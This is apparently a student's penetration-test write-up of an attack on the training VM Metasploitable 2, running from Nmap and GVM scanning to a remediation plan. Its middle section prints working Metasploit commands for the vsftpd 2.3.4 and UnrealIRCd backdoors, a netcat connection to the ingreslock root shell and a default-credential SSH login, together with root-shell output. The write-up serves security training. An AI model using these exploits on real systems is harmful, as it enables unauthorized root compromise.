Post cover image

August 12, 2026

Gray-Box Infrastructure Pentest: Compromising Metasploitable 2 via 4 Independent Root Vectors

From Nmap recon and OpenVAS vulnerability scanning to popping root shells via vsftpd, Ingreslock, UnrealIRCd, and SSH.

By Mohamed Sabry

4 min read

Introduction

As part of my Cyber Security Internship (Ethical Hacking Phase), I conducted a gray-box infrastructure penetration test against Metasploitable 2, an intentionally vulnerable Linux virtual machine designed for security training.

The goal of this engagement was to demonstrate a complete, audit-ready penetration testing workflow following the Penetration Testing Execution Standard (PTES): from initial port reconnaissance and automated vulnerability scanning to manual exploitation, root privilege verification, and defensive remediation tracking.

In this writeup, I'll walk through how I discovered 47 vulnerability findings mapped to 77 CVEs, and successfully validated 4 independent root-level (uid=0) compromise vectors.

1. Reconnaissance & Service Enumeration

I initiated the engagement with full-spectrum TCP port reconnaissance using Nmap 7.99 to discover active services, operating system details, and version banners across all 65,535 ports:

nmap -sS -sV -O -p- -T4 127.0.0.3 -oN recon_fullscan.txt

Key Reconnaissance Findings

Nmap identified 24 open TCP ports, revealing an extremely broad attack surface containing legacy remote-access daemons, unencrypted administrative protocols, and end-of-life software:

PortServiceBanner / Version DetailRisk Level21/tcpFTPvsftpd 2.3.4Critical22/tcpSSHOpenSSH 4.7p1 (Debian)Medium23/tcpTelnetLinux telnetdMedium512/tcpexecrexec serviceCritical513/tcploginrlogin serviceHigh514/tcpshellrsh serviceHigh1524/tcpingreslockRoot shell bind backdoorCritical3306/tcpMySQLMySQL 5.0.51aMedium3632/tcpdistccddistccd v1 (GNU 4.2.4)Critical5432/tcpPostgreSQLPostgreSQL DB 8.3.0Critical6667/tcpIRCUnrealIRCdCritical8009/tcpAJP13Apache JServ Protocol v1.3Critical

Additionally, Nmap fingerprinted the host OS as Ubuntu 8.04 LTS, an operating system that reached End-of-Life (EOL) in May 2013 — meaning zero official security patches have been issued for over 13 years.

2. Automated Vulnerability Scanning (Greenbone GVM)

To systematically correlate running services with known vulnerabilities, I executed an automated scan using OpenVAS / Greenbone Vulnerability Management (GVM 27.5.0) (Task ID: 5c433d5a-b3b2-4f2e-8576-bc28f71f94f0).

None

GVM Severity Distribution

GVM returned 47 distinct vulnerability results mapped to 77 CVE identifiers and 15 fingerprinted CPE applications:

  • Critical Severity (CVSS 9.0–10.0): 9 findings
  • High Severity (CVSS 7.0–8.9): 7 findings
  • Medium Severity (CVSS 4.0–6.9): 25 findings
  • Low Severity (CVSS 0.1–3.9): 6 findings

Top Critical Vulnerabilities Identified

  1. Operating System End-of-Life (CVSS 10.0): Unsupported Linux kernel receiving no security patches.
  2. dRuby / DRb RCE (CVSS 10.0): Unauthenticated object evaluation leading to arbitrary code execution.
  3. Ingreslock Backdoor (CVSS 10.0): Unauthenticated direct root shell listener on port 1524.
  4. vsftpd Source Package Backdoor (CVSS 9.8 / CVE-2011–2523): Malicious backdoor trigger opening root port 6200.
  5. Apache Tomcat AJP Ghostcat (CVSS 9.8 / CVE-2020–1938): Arbitrary file read and potential RCE via AJP connector.
  6. distccd Network Compiler RCE (CVSS 9.3 / CVE-2004–2687): Unauthenticated remote execution.

3. Popping Shells: 4 Validated Root Compromise Paths

Scanning highlights theoretical risk; exploitation proves business impact. Within the isolated lab, I successfully validated four independent exploitation vectors, each yielding full administrative or root-level (uid=0) access.

Vector 1: vsftpd 2.3.4 Backdoor Command Execution

In 2011, the source code archive for vsftpd 2.3.4 was compromised to include a backdoor: sending a username ending with a smiley face :) triggers a root shell listener on TCP port 6200.

Using Metasploit (msf6):

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 172.17.0.3
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 172.17.0.3:21 - Banner: 220 (vsFTPd 2.3.4)
[+] 172.17.0.3:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (172.17.0.1:5555 -> 172.17.0.3:57720)
meterpreter > getuid
Server username: root
None

Impact: Immediate root filesystem read access (/etc/passwd, /etc/shadow).

Vector 2: Ingreslock Unauthenticated Root Shell Listener

Port 1524 (ingreslock) on Metasploitable 2 is left intentionally binding a root interactive shell with zero authentication required.

Using Netcat:

$ nc -vn 172.17.0.2 1524
(UNKNOWN) [172.17.0.2] 1524 (ingreslock) open
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
None

Impact: Instant unauthenticated root access via simple socket connection.

Vector 3: UnrealIRCd 3.2.8.1 Trojanized Backdoor

The UnrealIRCd 3.2.8.1 package contained an unauthorized backdoor allowing execution of system commands by prefixing requests with AB.

Using Metasploit:

msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 172.17.0.2
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[*] Command shell session 1 opened (172.17.0.1:4444 -> 172.17.0.2:35936)
id
uid=0(root) gid=0(root) groups=0(root)

Impact: Unauthenticated reverse TCP root shell execution.

Vector 4: Weak & Default SSH Account Credentials

Exploitation isn't always about software bugs — credential hygiene is equally critical. Manual testing confirmed that default user credentials were active on the OpenSSH service.

Using SSH:

ssh -o HostKeyAlgorithms=+ssh-rsa sabry@172.17.0.2
sabry@df816fc21dd3:~$ uname -a
Linux 32554753bfe5 4.13.0-21-generic #24-Ubuntu SMP x86_64
None

Impact: Authenticated foothold providing internal access to local binaries and privilege escalation vectors.

4. Strategic Remediation & Hardening Roadmap

To transition these findings into actionable security improvements, I developed a prioritized remediation strategy:

None

Short-Term Fixes (Immediate)

  1. Purge Backdoored Services: Replace vsftpd 2.3.4 with a secure SFTP/SSH daemon. Remove UnrealIRCd and dRuby listeners.
  2. Disable Legacy Remote Services: Stop inetd daemons running rsh (514), rlogin (513), rexec (512), Telnet (23), and Ingreslock (1524).
  3. Patch Tomcat Ghostcat: Upgrade Apache Tomcat to release 9.0.31+ or 8.5.51+.
  4. Enforce Password Hygiene: Change default database passwords (PostgreSQL & MySQL); enforce SSH key authentication.

Long-Term Defensive Hardening

  • Host Firewalling: Configure strict iptables/UFW ingress rules allowing only operational ports.
  • Operating System Lifecycle Migration: Migrate workload from EOL Ubuntu 8.04 to a currently supported Ubuntu LTS distribution.
  • Automated Scanning & Patch Management: Integrate routine OpenVAS/GVM scans into standing SOC vulnerability management workflows.
  • TLS Modernization: Enforce TLS 1.2/1.3 and replace 16-year-old expired self-signed certificates.

Conclusion & Portfolio Links

This penetration test highlighted how legacy services, backdoored software, and default credentials combine to create critical infrastructure exposure.

You can explore the full interactive project, download the complete 11-page formal PDF report, or review the source code below:

Thank you for reading! If you enjoyed this writeup or want to discuss ethical hacking and SOC operations, connect with me on LinkedIn or check out my work on GitHub.